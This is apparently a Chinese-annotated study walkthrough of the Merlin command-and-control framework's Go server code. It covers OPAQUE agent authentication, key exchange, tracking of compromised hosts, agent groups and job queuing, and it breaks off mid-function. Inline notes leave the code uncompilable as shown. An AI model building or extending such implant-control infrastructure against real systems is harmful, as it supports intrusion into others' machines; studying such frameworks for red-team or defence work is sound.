1 - 接收用户的 UserRegisterInit  
  
2 - 使用私钥创建一个 NewServerRegister  
  
3 - 使用用户的 UserRegisterInit 调用 Init 并将生成的 ServerRegisterInit 发送给用户  
  
4 - 接收用户的 UserRegisterComplete  
  
5 - 使用用户的 UserRegisterComplete 调用 Complete 并保存生成的 ServerRegisterComplete  
  
认证流程¶  
OPAQUE 身份验证旨在与密钥交换协议结合使用以对用户进行身份验证。Gopaque 支持外部密钥交换协议或嵌入到身份验证过程中的协议。流程的纯 OPAQUE 部分只是一个 2 条消息的过程，但使用密钥交换进行验证通常会添加第三条消息。以下步骤假设密钥交换嵌入在身份验证过程中，而不是在外部。  
  
用户的步骤是：  
  
1 - 创建一个带有嵌入式密钥交换的 NewUserAuth  
  
2 - 使用密码调用 Init 并将生成的 UserAuthInit 发送到服务器  
  
3 - 接收服务器的 ServerAuthComplete  
  
4 - 使用服务器的 ServerAuthComplete 调用 Complete。生成的 UserAuthFinish 包含用户和服务器密钥信息。如果我们不使用嵌入式密钥交换，这将是最后一步。既然我们是，请获取生成的 UserAuthComplete 并将其发送到服务器。  
  
服务器的步骤是：  
  
1 - 接收用户的 UserAuthInit  
  
2 - 创建一个带有嵌入式密钥交换的 NewServerAuth  
  
3 - 使用用户的 UserAuthInit 和持久化的 ServerRegisterComplete 调用 Complete 并将生成的 ServerAuthComplete 发送给用户。如果我们不使用嵌入式密钥交换，这将是最后一步。  
  
4 - 接收用户的 UserAuthComplete  
  
5 - 使用用户的 UserAuthComplete 调用 Finish  
  

// Merlin is a post-exploitation command and control framework.  
// This file is part of Merlin.  
// Copyright (C) 2021  Russel Van Tuyl  
  
// Merlin is free software: you can redistribute it and/or modify  
// it under the terms of the GNU General Public License as published by  
// the Free Software Foundation, either version 3 of the License, or  
// any later version.  
  
// Merlin is distributed in the hope that it will be useful,  
// but WITHOUT ANY WARRANTY; without even the implied warranty of  
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the  
// GNU General Public License for more details.  
  
// You should have received a copy of the GNU General Public License  
// along with Merlin.  If not, see <http://www.gnu.org/licenses/>.  
  
package opaque  
  
import (  
   // Standard  
   "bytes"  
   "encoding/gob"  
   "fmt"  
  
   // 3rd Party  
   "github.com/cretz/gopaque/gopaque"  
   "github.com/fatih/color"  
   uuid "github.com/satori/go.uuid"  
   "go.dedis.ch/kyber/v3"  
   // Internal"  
   "github.com/Ne0nd0g/merlin/pkg/core"  
)  
  
// init registers message types with gob that are an interface for Base.Payload  
func init() {  
   gob.Register(Opaque{})  
}  
  
const (  
   // RegInit is used to denote that the embedded payload contains data for the OPAQUE protocol Registration Initialization step  
   RegInit = 1  
   // RegComplete is used to denote that the embedded payload contains data for the OPAQUE protocol Registration Complete step  
   RegComplete = 2  
   // AuthInit is used to denote that the embedded payload contains data for the OPAQUE protocol Authorization Initialization step  
   AuthInit = 3  
   // AuthComplete is used to denote that the embedded payload contains data for the OPAQUE protocol Authorization Complete step  
   AuthComplete = 4  
   // ReRegister is used to instruct the Agent it needs to execute the OPAQUE Registration process with the server  
   ReRegister = 5  
   // ReAuthenticate is used to instruct the Agent it needs to execute the OPAQUE Authentication process with the server  
   ReAuthenticate = 6  
)  
  
// Opaque is a structure that is embedded into Merlin messages as a payload used to complete OPAQUE registration and authentication  
type Opaque struct {  
   Type    int    // The type of OPAQUE message from the constants  
   Payload \[\]byte // OPAQUE payload data  
}  
  
// Server is the structure that holds information for the various steps of the OPAQUE protocol as the server  
type Server struct {  
   reg         \*gopaque.ServerRegister  
   regComplete \*gopaque.ServerRegisterComplete  
   auth        \*gopaque.ServerAuth  
   Kex         \*gopaque.KeyExchangeSigma  
}  
  
// ServerRegisterInit is used to perform the OPAQUE Password Authenticated Key Exchange (PAKE) protocol Registration steps for the server  
func ServerRegisterInit(AgentID uuid.UUID, o Opaque, key kyber.Scalar) (Opaque, \*Server, error) {  
   if core.Debug {  
      message("debug", "Entering into opaque.ServerRegisterInit() function...")  
   }  
   server := Server{  
      reg: gopaque.NewServerRegister(gopaque.CryptoDefault, key),  
   }  
   var userRegInit gopaque.UserRegisterInit  
  
   errUserRegInit := userRegInit.FromBytes(gopaque.CryptoDefault, o.Payload)  
   if errUserRegInit != nil {  
      return Opaque{}, &server, fmt.Errorf("there was an error unmarshalling the OPAQUE user register initialization message from bytes:\\r\\n%s", errUserRegInit)  
   }  
  
   if !bytes.Equal(userRegInit.UserID, AgentID.Bytes()) {  
      if core.Verbose {  
         message("note", fmt.Sprintf("OPAQUE UserID: %v", userRegInit.UserID))  
         message("note", fmt.Sprintf("Merlin Message UserID: %v", AgentID.Bytes()))  
      }  
      return Opaque{}, &server, fmt.Errorf("the OPAQUE UserID doesn't match the Merlin message ID")  
   }  
  
   serverRegInit := server.reg.Init(&userRegInit)  
  
   serverRegInitBytes, errServerRegInitBytes := serverRegInit.ToBytes()  
   if errServerRegInitBytes != nil {  
      return Opaque{}, &server, fmt.Errorf("there was an error marshalling the OPAQUE server registration initialization message to bytes:\\r\\n%s", errServerRegInitBytes)  
   }  
  
   returnMessage := Opaque{  
      Type:    RegInit,  
      Payload: serverRegInitBytes,  
   }  
  
   return returnMessage, &server, nil  
}  
  
// ServerRegisterComplete consumes the User's response and finishes OPAQUE Registration  
func ServerRegisterComplete(AgentID uuid.UUID, o Opaque, server \*Server) (Opaque, error) {  
   if core.Debug {  
      message("debug", "Entering into opaque.ServerRegisterComplete() function...")  
   }  
  
   var userRegComplete gopaque.UserRegisterComplete  
  
   errUserRegComplete := userRegComplete.FromBytes(gopaque.CryptoDefault, o.Payload)  
   if errUserRegComplete != nil {  
      return Opaque{}, fmt.Errorf("there was an error unmarshalling the OPAQUE user register complete message from bytes:\\r\\n%s", errUserRegComplete.Error())  
   }  
  
   server.regComplete = server.reg.Complete(&userRegComplete)  
  
   // Check to make sure Merlin  UserID matches OPAQUE UserID  
   if !bytes.Equal(AgentID.Bytes(), server.regComplete.UserID) {  
      return Opaque{}, fmt.Errorf("the OPAQUE UserID: %v doesn't match the Merlin UserID: %v", server.regComplete.UserID, AgentID.Bytes())  
   }  
  
   returnMessage := Opaque{  
      Type: RegComplete,  
   }  
   return returnMessage, nil  
}  
  
// ServerAuthenticateInit is used to authenticate an agent leveraging the OPAQUE Password Authenticated Key Exchange (PAKE) protocol  
func ServerAuthenticateInit(o Opaque, server \*Server) (Opaque, error) {  
   if core.Debug {  
      message("debug", "Entering into opaque.ServerAuthenticateInit() function...")  
   }  
  
   // 1 - Receive the user's UserAuthInit  
   server.Kex = gopaque.NewKeyExchangeSigma(gopaque.CryptoDefault)  
   server.auth = gopaque.NewServerAuth(gopaque.CryptoDefault, server.Kex)  
  
   var userInit gopaque.UserAuthInit  
   errFromBytes := userInit.FromBytes(gopaque.CryptoDefault, o.Payload)  
   if errFromBytes != nil {  
      return Opaque{}, fmt.Errorf("there was an error unmarshalling the user init message from bytes:\\r\\n%s", errFromBytes)  
   }  
  
   serverAuthComplete, errServerAuthComplete := server.auth.Complete(&userInit, server.regComplete)  
  
   if errServerAuthComplete != nil {  
      return Opaque{}, fmt.Errorf("there was an error completing the OPAQUE server authentication:\\r\\n%s", errServerAuthComplete.Error())  
   }  
  
   if core.Debug {  
      message("debug", fmt.Sprintf("User Auth Init:\\r\\n%+v", userInit))  
      message("debug", fmt.Sprintf("Server Auth Complete:\\r\\n%+v", serverAuthComplete))  
   }  
  
   serverAuthCompleteBytes, errServerAuthCompleteBytes := serverAuthComplete.ToBytes()  
   if errServerAuthCompleteBytes != nil {  
      return Opaque{}, fmt.Errorf("there was an error marshalling the OPAQUE server authentication complete message to bytes:\\r\\n%s", errServerAuthCompleteBytes.Error())  
   }  
  
   returnMessage := Opaque{  
      Type:    AuthInit,  
      Payload: serverAuthCompleteBytes,  
   }  
  
   return returnMessage, nil  
}  
  
// ServerAuthenticateComplete consumes the Agent's authentication messages and finishes the authentication and key exchange  
func ServerAuthenticateComplete(o Opaque, server \*Server) error {  
   if core.Debug {  
      message("debug", "Entering into opaque.ServerAuthenticateComplete() function")  
   }  
  
   var userComplete gopaque.UserAuthComplete  
   errFromBytes := userComplete.FromBytes(gopaque.CryptoDefault, o.Payload)  
   if errFromBytes != nil {  
      return fmt.Errorf("there was an error unmarshalling the user complete message from bytes:\\r\\n%s", errFromBytes)  
   }  
  
   // server auth finish  
   errAuthFinish := server.auth.Finish(&userComplete)  
   if errAuthFinish != nil {  
      return fmt.Errorf("there was an error finishing authentication:\\r\\n%s", errAuthFinish)  
   }  
  
   return nil  
}  
  
// message is used to send send messages to STDOUT where the server is running and not intended to be sent to CLI  
func message(level string, message string) {  
   switch level {  
   case "info":  
      color.Cyan("\[i\]" + message)  
   case "note":  
      color.Yellow("\[-\]" + message)  
   case "warn":  
      color.Red("\[!\]" + message)  
   case "debug":  
      color.Red("\[DEBUG\]" + message)  
   case "success":  
      color.Green("\[+\]" + message)  
   default:  
      color.Red("\[\_-\_\]Invalid message level: " + message)  
   }  
}

agents

agents.go

// Merlin is a post-exploitation command and control framework.  
// This file is part of Merlin.  
// Copyright (C) 2021  Russel Van Tuyl  
  
// Merlin is free software: you can redistribute it and/or modify  
// it under the terms of the GNU General Public License as published by  
// the Free Software Foundation, either version 3 of the License, or  
// any later version.  
  
// Merlin is distributed in the hope that it will be useful,  
// but WITHOUT ANY WARRANTY; without even the implied warranty of  
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the  
// GNU General Public License for more details.  
  
// You should have received a copy of the GNU General Public License  
// along with Merlin.  If not, see <http://www.gnu.org/licenses/>.  
  
package agents  
  
import (  
	"crypto/rand"  
	"crypto/rsa"  
	"fmt"  
	"os"  
	"path"  
	"path/filepath"  
	"strconv" 字符串类型转换  
	"strings"  
	"time"  
  
	// 3rd Party  
	"github.com/satori/go.uuid"  
  
	// Merlin  
	messageAPI "github.com/Ne0nd0g/merlin/pkg/api/messages"  
	"github.com/Ne0nd0g/merlin/pkg/core"  
	"github.com/Ne0nd0g/merlin/pkg/logging"  
	"github.com/Ne0nd0g/merlin/pkg/messages"  
	"github.com/Ne0nd0g/merlin/pkg/opaque"  
)  
  
// Global Variables  
  
// Agents contains all of the instantiated agent object that are accessed by other modules  
var Agents = make(map\[uuid.UUID\]\*Agent)  
  
// groups map agent(s) to a string for bulk access  
var groups = make(map\[string\]\[\]uuid.UUID)  
  
func init() {  
	globalUUID, err := uuid.FromString("ffffffff-ffff-ffff-ffff-ffffffffffff")  
	if err == nil {  
		groups\["all"\] = \[\]uuid.UUID{globalUUID}  
	}  
}  
  
// Agent is a server side structure that holds information about a Merlin Agent  
type Agent struct {  
	ID             uuid.UUID  
	Platform       string  
	Architecture   string  
	UserName       string  
	UserGUID       string  
	HostName       string  
	Ips            \[\]string  
	Pid            int  
	Process        string  
	agentLog       \*os.File 日志文件  
	InitialCheckIn time.Time  
	StatusCheckIn  time.Time  
	Version        string  
	Build          string  
	WaitTime       string  
	PaddingMax     int  
	MaxRetry       int  
	FailedCheckin  int  
	Skew           int64  
	Proto          string  
	KillDate       int64  
	RSAKeys        \*rsa.PrivateKey // RSA Private/Public key pair; Private key used to decrypt messages  
	PublicKey      rsa.PublicKey   // Public key used to encrypt messages  
	Secret         \[\]byte          // secret is used to perform symmetric encryption operations 用于执行对称加密操作  
	OPAQUE         \*opaque.Server  // Holds information about OPAQUE Registration and Authentication  保存OPAQUE的注册和认证信息  
	JA3            string          // The JA3 signature applied to the agent's TLS client 保存ja3指纹  
	Note           string          // Operator notes for an agent  
}  
交换服务端和客户端的公私钥  
// KeyExchange is used to exchange public keys between the server and agent  
func KeyExchange(m messages.Base) (messages.Base, error) {  
	if core.Debug {  
		message("debug", "Entering into agents.KeyExchange function")  
	}  
  
	serverKeyMessage := messages.Base{  
		ID:      m.ID,  
		Version: 1.0,  
		Type:    messages.KEYEXCHANGE,  
		Padding: core.RandStringBytesMaskImprSrc(4096),  
	}  
  
	// Make sure the agent has previously authenticated  
	if !isAgent(m.ID) {  
		return serverKeyMessage, fmt.Errorf("the agent does not exist")  
	}  
  
	logging.Server(fmt.Sprintf("Received new agent key exchange from %s", m.ID))  
  
	ke := m.Payload.(messages.KeyExchange)  
  
	if core.Debug {  
		message("debug", fmt.Sprintf("Received new public key from %s:\\r\\n%v", m.ID, ke.PublicKey))  
	}  
  
	serverKeyMessage.ID = Agents\[m.ID\].ID  
	Agents\[m.ID\].PublicKey = ke.PublicKey  
  
	// Generate key pair  
	privateKey, rsaErr := rsa.GenerateKey(rand.Reader, 4096)  
	if rsaErr != nil {  
		return serverKeyMessage, fmt.Errorf("there was an error generating the RSA key pair:\\r\\n%s", rsaErr.Error())  
	}  
  
	Agents\[m.ID\].RSAKeys = privateKey  
  
	if core.Debug {  
		message("debug", fmt.Sprintf("Server's Public Key: %v", Agents\[m.ID\].RSAKeys.PublicKey))  
	}  
  
	pk := messages.KeyExchange{  
		PublicKey: Agents\[m.ID\].RSAKeys.PublicKey,  
	}  
  
	serverKeyMessage.ID = m.ID  
	serverKeyMessage.Payload = pk  
  
	if core.Debug {  
		message("debug", "Leaving agents.KeyExchange returning without error")  
		message("debug", fmt.Sprintf("serverKeyMessage: %v", serverKeyMessage))  
	}  
	return serverKeyMessage, nil  
}  
检索每个agent的加密密钥用于解密任何协议的message  
// GetEncryptionKey retrieves the per-agent payload encryption key used to decrypt messages for any protocol  
func GetEncryptionKey(agentID uuid.UUID) (\[\]byte, error) {  
	if core.Debug {  
		message("debug", "Entering into agents.GetEncryptionKey function")  
	}  
  
	if !isAgent(agentID) {  
		return nil, fmt.Errorf("agent %s does not exist", agentID)  
	}  
    key是agent的secret  
	key := Agents\[agentID\].Secret  
	if len(key) <= 0 { 确认id为uuid 的agnet中保存的key不为空  
		return nil, fmt.Errorf("the encryption key for %s is empty", agentID)  
	}  
	if core.Debug {  
		message("debug", "Leaving agents.GetEncryptionKey function")  
	}  
	return key, nil 返回key  
}  
  
// UpdateInfo is used to update an agent's information with the passed in message data 根据传入的message更新保存在服务端的agent信息  
func (a \*Agent) UpdateInfo(info messages.AgentInfo) { Agent结构体的updateinfo方法  
	if core.Debug {  
		message("debug", "Entering into agents.UpdateInfo function")  
	}  
  
	if core.Debug { 调式模式下输出接收到的的agent信息  
		message("debug", "Processing new agent info")  
		message("debug", fmt.Sprintf("Agent Version: %s", info.Version))  
		message("debug", fmt.Sprintf("Agent Build: %s", info.Build))  
		message("debug", fmt.Sprintf("Agent waitTime: %s", info.WaitTime))  
		message("debug", fmt.Sprintf("Agent skew: %d", info.Skew))  
		message("debug", fmt.Sprintf("Agent paddingMax: %d", info.PaddingMax))  
		message("debug", fmt.Sprintf("Agent maxRetry: %d", info.MaxRetry))  
		message("debug", fmt.Sprintf("Agent failedCheckin: %d", info.FailedCheckin))  
		message("debug", fmt.Sprintf("Agent proto: %s", info.Proto))  
		message("debug", fmt.Sprintf("Agent killdate: %s", time.Unix(a.KillDate, 0).UTC().Format(time.RFC3339)))  
		message("debug", fmt.Sprintf("Agent JA3 signature: %s", info.JA3))  
	} 日志记录接收到的agent信息  
	a.Log("Processing AgentInfo message:")  
	a.Log(fmt.Sprintf("\\tAgent Version: %s ", info.Version))  
	a.Log(fmt.Sprintf("\\tAgent Build: %s ", info.Build))  
	a.Log(fmt.Sprintf("\\tAgent waitTime: %s ", info.WaitTime))  
	a.Log(fmt.Sprintf("\\tAgent skew: %d ", info.Skew))  
	a.Log(fmt.Sprintf("\\tAgent paddingMax: %d ", info.PaddingMax))  
	a.Log(fmt.Sprintf("\\tAgent maxRetry: %d ", info.MaxRetry))  
	a.Log(fmt.Sprintf("\\tAgent failedCheckin: %d ", info.FailedCheckin))  
	a.Log(fmt.Sprintf("\\tAgent proto: %s ", info.Proto))  
	a.Log(fmt.Sprintf("\\tAgent KillDate: %s", time.Unix(a.KillDate, 0).UTC().Format(time.RFC3339)))  
	a.Log(fmt.Sprintf("\\tAgent JA3 signature: %s", info.JA3))  
对agent对象的属性进行赋值（结构体的各个变量）  
	a.Version = info.Version  
	a.Build = info.Build  
	a.WaitTime = info.WaitTime  
	a.Skew = info.Skew  
	a.PaddingMax = info.PaddingMax  
	a.MaxRetry = info.MaxRetry  
	a.FailedCheckin = info.FailedCheckin  
	a.Proto = info.Proto  
	a.KillDate = info.KillDate  
	a.JA3 = info.JA3  
  
	a.Architecture = info.SysInfo.Architecture  
	a.HostName = info.SysInfo.HostName  
	a.Process = info.SysInfo.Process  
	a.Pid = info.SysInfo.Pid  
	a.Ips = info.SysInfo.Ips  
	a.Platform = info.SysInfo.Platform  
	a.UserName = info.SysInfo.UserName  
	a.UserGUID = info.SysInfo.UserGUID  
  
	if core.Debug {  
		message("debug", "Leaving agents.UpdateInfo function")  
	}  
}  
  
// Log is used to write log messages to the agent's log file 向日志文件写日志  
func (a \*Agent) Log(logMessage string) {  
	if core.Debug {  
		message("debug", "Entering into agents.Log")  
	}  
	\_, err := a.agentLog.WriteString(fmt.Sprintf("\[%s\]%s\\r\\n", time.Now().UTC().Format(time.RFC3339), logMessage))  
	if err != nil {  
		message("warn", fmt.Sprintf("There was an error writing to the agent log agents.Log:\\r\\n%s", err.Error()))  
	}  
}  
  
// message is used to send a broadcast message to all connected clients 向所有的客户端发送广播信息  
func message(level string, message string) {  
	m := messageAPI.UserMessage{  
		Message: message,  
		Time:    time.Now().UTC(),  
		Error:   false,  
	}  
	switch level {  
	case "info":  
		m.Level = messageAPI.Info  
	case "note":  
		m.Level = messageAPI.Note  
	case "warn":  
		m.Level = messageAPI.Warn  
	case "debug":  
		m.Level = messageAPI.Debug  
	case "success":  
		m.Level = messageAPI.Success  
	case "plain":  
		m.Level = messageAPI.Plain  
	default:  
		m.Level = messageAPI.Plain  
	}  
	messageAPI.SendBroadcastMessage(m)  
}  
  
// RemoveAgent deletes the agent object from Agents map by its ID  
func RemoveAgent(agentID uuid.UUID) error {  
	if isAgent(agentID) {  
		delete(Agents, agentID)  
		return nil  
	}  
	return fmt.Errorf("%s is not a known agent and was not removed", agentID)  
}  
  
// GetAgentFieldValue returns a string value for the field value belonging to the specified Agent  
func GetAgentFieldValue(agentID uuid.UUID, field string) (string, error) {  
	if isAgent(agentID) {  
		switch strings.ToLower(field) {  
		case "platform":  
			return Agents\[agentID\].Platform, nil  
		case "architecture":  
			return Agents\[agentID\].Architecture, nil  
		case "username":  
			return Agents\[agentID\].UserName, nil  
		case "waittime":  
			return Agents\[agentID\].WaitTime, nil  
		}  
		return "", fmt.Errorf("the provided agent field could not be found: %s", field)  
	}  
	return "", fmt.Errorf("%s is not a valid agent", agentID.String())  
}  
  
// isAgent enumerates a map of all instantiated agents and returns true if the provided agent UUID exists  
func isAgent(agentID uuid.UUID) bool { 遍历Agent查询传入的uuid是否在Agent Map保存的agnet的id中  
	for agent := range Agents {  
		if Agents\[agent\].ID == agentID {  
			return true  
		}  
	}  
	return false  
}  
  
// New creates a new Agent and returns the object but does not add it to the global agents map 新建一个agent对象但是不把他添加到全局的agent map中  
func New(agentID uuid.UUID) (Agent, error) {  
	if core.Debug {  
		message("debug", "Entering into agents.newAgent function")  
	}  
	var agent Agent 创建agent对象（结构体）  
	if isAgent(agentID) { 确定添加的agent之前不存在  
		return agent, fmt.Errorf("the %s agent already exists", agentID)  
	}  
新建agent目录  
	agentsDir := filepath.Join(core.CurrentDir, "data", "agents")  
新建agent uuid对应的文件  
	// Create a directory for the new agent's files  
	if \_, err := os.Stat(filepath.Join(agentsDir, agentID.String())); os.IsNotExist(err) {  
		errM := os.MkdirAll(filepath.Join(agentsDir, agentID.String()), 0750)  
		if errM != nil {  
			return agent, fmt.Errorf("there was an error creating a directory for agent %s:\\r\\n%s",  
				agentID.String(), err.Error())  
		} 新建agent log文件  
		// Create the agent's log file  
		agentLog, errC := os.Create(filepath.Join(agentsDir, agentID.String(), "agent\_log.txt"))  
		if errC != nil {  
			return agent, fmt.Errorf("there was an error creating the agent\_log.txt file for agnet %s:\\r\\n%s",  
				agentID.String(), err.Error())  
		}  
  
		// Change the file's permissions  
		errChmod := os.Chmod(agentLog.Name(), 0600)  
		if errChmod != nil {  
			return agent, fmt.Errorf("there was an error changing the file permissions for the agent log:\\r\\n%s", errChmod.Error())  
		}  
  
		if core.Verbose {  
			message("note", fmt.Sprintf("Created agent log file at: %s agent\_log.txt",  
				path.Join(agentsDir, agentID.String())))  
		}  
	}  
	// Open agent's log file for writing 创建日志文件的写操作  
	f, err := os.OpenFile(filepath.Clean(filepath.Join(agentsDir, agentID.String(), "agent\_log.txt")), os.O\_APPEND|os.O\_WRONLY, 0600)  
	if err != nil {  
		return agent, fmt.Errorf("there was an error openeing the %s agent's log file:\\r\\n%s", agentID.String(), err.Error())  
	}  
对agent对象属性赋值和初始化时间  
	agent.ID = agentID  
	agent.agentLog = f  
	agent.InitialCheckIn = time.Now().UTC()  
	agent.StatusCheckIn = time.Now().UTC()  
  
	\_, errAgentLog := agent.agentLog.WriteString(fmt.Sprintf("\[%s\]%s\\r\\n", time.Now().UTC().Format(time.RFC3339), "Instantiated agent"))  
	if errAgentLog != nil {  
		message("warn", fmt.Sprintf("There was an error writing to the agent log agents.Log:\\r\\n%s", errAgentLog.Error()))  
	}  
  
	if core.Debug {  
		message("debug", "Leaving agents.newAgent function without error")  
	}  
	return agent, nil  
}  
  
// GetLifetime returns the amount an agent could live without successfully communicating with the server 获取agnet在不能与server成功通信情况下可视为存活的数量  
func GetLifetime(agentID uuid.UUID) (time.Duration, error) {  
	if core.Debug {  
		message("debug", "Entering into agents.GetLifeTime")  
	}  
	// Check to make sure it is a known agent  
	if !isAgent(agentID) {  
		return 0, fmt.Errorf("%s is not a known agent", agentID)  
	}  
  
	// Check to see if PID is set to know if the first AgentInfo message has been sent 通过检查是否设置了did来确认是否发送了第一条agentinfo信息  
	if Agents\[agentID\].Pid == 0 {  
		return 0, nil  
	}  
time.ParseDuration解析agent设置的waittime的字符串为时间  
	sleep, errSleep := time.ParseDuration(Agents\[agentID\].WaitTime)  
	if errSleep != nil {  
		return 0, fmt.Errorf("there was an error parsing the agent WaitTime to a duration:\\r\\n%s", errSleep.Error())  
	}如果设置为0直接返回报错，waittime时间耗尽  
	if sleep == 0 {  
		return 0, fmt.Errorf("agent WaitTime is equal to zero")  
	}  
检查重试次数是否耗尽  
	retry := Agents\[agentID\].MaxRetry  
	if retry == 0 {  
		return 0, fmt.Errorf("agent MaxRetry is equal to zero")  
	}  
歪曲？的时间（设置的允许通信的时常？）  
	skew := time.Duration(Agents\[agentID\].Skew) \* time.Millisecond  
	maxRetry := Agents\[agentID\].MaxRetry  
计算死前最长的存活时间  
	// Calculate the worst case scenario that an agent could be alive before dying  
	lifetime := sleep + skew  
	for maxRetry > 1 {  
		lifetime = lifetime + (sleep + skew)  
		maxRetry--  
	}  
查看当前时间加上存活时间是否超过设定的kill agent时间，超过则返回报错  
	if Agents\[agentID\].KillDate > 0 {  
		if time.Now().Add(lifetime).After(time.Unix(Agents\[agentID\].KillDate, 0)) {  
			return 0, fmt.Errorf("the agent lifetime will exceed the killdate")  
		}  
	}  
  
	if core.Debug {  
		message("debug", "Leaving agents.GetLifeTime without error")  
	}  
  
	return lifetime, nil  
  
}  
  
// SetWaitTime updates an Agent's sleep amount or Wait Time  
func SetWaitTime(agentID uuid.UUID, wait string) error {  
	if isAgent(agentID) {  
		\_, err := time.ParseDuration(wait)  
		if err != nil {  
			return fmt.Errorf("there was an error parsing %s to a duration for the Agent's WaitTime:\\r\\n%s", wait, err)  
		}  
		Agents\[agentID\].WaitTime = wait  
		return nil  
	}  
	return fmt.Errorf("the %s Agent is unknown", agentID.String())  
}  
  
// SetMaxRetry updates an Agent's MaxRetry limit  
func SetMaxRetry(agentID uuid.UUID, retry string) error {  
	if isAgent(agentID) {  
		r, err := strconv.Atoi(retry)  
		if err != nil {  
			return fmt.Errorf("there was an error converting %s to an integer for Agent %s:\\n%s", retry, agentID, err)  
		}  
		Agents\[agentID\].MaxRetry = r  
		return nil  
	}  
	return fmt.Errorf("the %s Agent is unknown", agentID.String())  
}  
  
// SetAgentNote updates the agent's note field 设置agnet的备注信息  
func SetAgentNote(agentID uuid.UUID, note string) error {  
	if !isAgent(agentID) {  
		return fmt.Errorf("%s is not a known agent", agentID)  
	}  
	Agents\[agentID\].Note = note  
	return nil  
}  
  
// GroupAddAgent adds an agent to a group 将agent加入到一个分组下面  
func GroupAddAgent(agentID uuid.UUID, groupName string) error {  
	if !isAgent(agentID) {  
		return fmt.Errorf("%s is not a known agent", agentID)  
	}  
	grp, ok := groups\[groupName\]  
	if !ok {  
		groups\[groupName\] = \[\]uuid.UUID{agentID} 如果不存在则创建一个名称为groupname的agent数组  
	} else {  
		// Don't add it to the group if it's already there 如果这个agent的uuid存在在任何一个分组中则不再向其他分组添加  
		for \_, a := range groups\[groupName\] {  
			if uuid.Equal(a, agentID) {  
				return nil  
			}  
		}  
		groups\[groupName\] = append(grp, agentID)  
	}  
	return nil  
}  
  
// GroupListAll lists groups as a table of {groupName,agentID}GroupListAll 将组列为 {groupName,agentID} 的表  
func GroupListAll() \[\]\[\]string {  
	var out \[\]\[\]string  
	for groupName, agentIDs := range groups {  
		for \_, aID := range agentIDs {  
			out = append(out, \[\]string{groupName, aID.String()})  
		}  
	}  
	return out  
}  
  
// GroupListNames list out just the names of existing groups GroupListNames 仅列出目前存在的组的名称  
func GroupListNames() \[\]string {  
	keys := make(\[\]string, 0, len(groups))  
	for k := range groups {  
		keys = append(keys, k)  
	}  
	return keys  
}  
  
// GroupRemoveAgent removes an agent from a group  
func GroupRemoveAgent(agentID uuid.UUID, groupName string) error {  
	if !isAgent(agentID) {  
		return fmt.Errorf("%s is not a known agent", agentID)  
	}  
  
	grp, ok := groups\[groupName\]  
	if !ok {  
		return fmt.Errorf("%s is not a group", groupName)  
	}  
  
	tmp := grp\[:0\]  
	for \_, a := range grp { 遍历grp，如果传入的uuid不为grp中的元素，则添加入tmp数组  
		if !uuid.Equal(a, agentID) {  
			tmp = append(tmp, a)  
		}  
	}  
	groups\[groupName\] = tmp 新的grp的对应的数组元素为去掉uuid的tmp数组  
  
	//Make sure to delete group if empty 如果groupName数组为空，删除该数组  
	if len(groups\[groupName\]) == 0 {  
		delete(groups, groupName)  
	}  
  
	return nil  
}  

server/jobs

jobs.go

// Merlin is a post-exploitation command and control framework.  
// This file is part of Merlin.  
// Copyright (C) 2021  Russel Van Tuyl  
  
// Merlin is free software: you can redistribute it and/or modify  
// it under the terms of the GNU General Public License as published by  
// the Free Software Foundation, either version 3 of the License, or  
// any later version.  
  
// Merlin is distributed in the hope that it will be useful,  
// but WITHOUT ANY WARRANTY; without even the implied warranty of  
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the  
// GNU General Public License for more details.  
  
// You should have received a copy of the GNU General Public License  
// along with Merlin.  If not, see <http://www.gnu.org/licenses/>.  
  
package jobs  
  
import (  
   // Standard  
   "crypto/sha256"  
   "encoding/base64"  
   "fmt"  
   "io"  
   "io/ioutil"  
   "os"  
   "path/filepath"  
   "strconv"  
   "strings"  
   "time"  
  
   // 3rd Party  
   "github.com/fatih/color"  
   uuid "github.com/satori/go.uuid"  
  
   // Internal  
   "github.com/Ne0nd0g/merlin/pkg/agents"  
   messageAPI "github.com/Ne0nd0g/merlin/pkg/api/messages"  
   "github.com/Ne0nd0g/merlin/pkg/core"  
   merlinJob "github.com/Ne0nd0g/merlin/pkg/jobs"  
   "github.com/Ne0nd0g/merlin/pkg/messages"  
)  
  
// JobsChannel contains a map of all instantiated jobs created on the server by each Agent's ID  
JobsChannel 包含由每个 Agent 的 ID 在服务器上创建的所有实例化 job 的映射  
var JobsChannel = make(map\[uuid.UUID\]chan merlinJob.Job)  
  
// Jobs is a map that contains specific information about an individual job and is embedded in the JobsChannel  
  
Jobs 是一个map，其中包含有关单个jon的结构体信息，并嵌入在 JobsChannel 中  
var Jobs = make(map\[string\]info)  
  
//  info is a structure for holding data for single task assigned to a single agent  
info 是一种结构体，用于保存分配给单个agent的单个task的数据信息包括uuid、job类型、  
type info struct {  
   AgentID   uuid.UUID // ID of the agent the job belong to  
   Type      string    // Type of job  
   Token     uuid.UUID // A unique token for each task that acts like a CSRF token to prevent multiple job messages 每个任务的token，防止伪造job数据  
   Status    int       // Use JOB\_ constants 使用JOB\_的常数  
   Chunk     int       // The chunk number chunk切片传输数据序号  
   Created   time.Time // Time the job was created 创建时间  
   Sent      time.Time // Time the job was sent to the agent 发送时间  
   Completed time.Time // Time the job finished 完成时间  
   Command   string    // The actual command job 包含的命令  
}  
  
// Add creates a job and adds it to the specified agent's job channel 创建一个job并加入到指定的job channel中  
func Add(agentID uuid.UUID, jobType string, jobArgs \[\]string) (string, error) {  
   // TODO turn this into a method of the agent struct  
   if core.Debug {  
      message("debug", fmt.Sprintf("In jobs.Job function for agent: %s", agentID.String()))  
      message("debug", fmt.Sprintf("In jobs.Add function for type: %s, arguments: %v", jobType, jobType))  
   } 调试信息输出当前job的agent uuid和任务类型  
  
   agent, ok := agents.Agents\[agentID\]  
   //if !ok {  
   // return "", fmt.Errorf("%s is not a valid agent", agentID)  
   //}  
  
   var job merlinJob.Job  
  
   switch jobType {  
   case "agentInfo":  
      job.Type = merlinJob.CONTROL 常量merlin 控制message CONTROL = 11 // AgentControl  
      job.Payload = merlinJob.Command{  
         Command: "agentInfo", 命令为输出agent info  
      }  
   case "download":  
      job.Type = merlinJob.FILETRANSFER 文件传输  
      if ok {  
         agent.Log(fmt.Sprintf("Downloading file from agent at %s\\n", jobArgs\[0\]))  
      }  
  
      p := merlinJob.FileTransfer{ merilin文件传输  
      /\*type FileTransfer struct {  
	FileLocation string \`json:"dest"\` 文件地址  
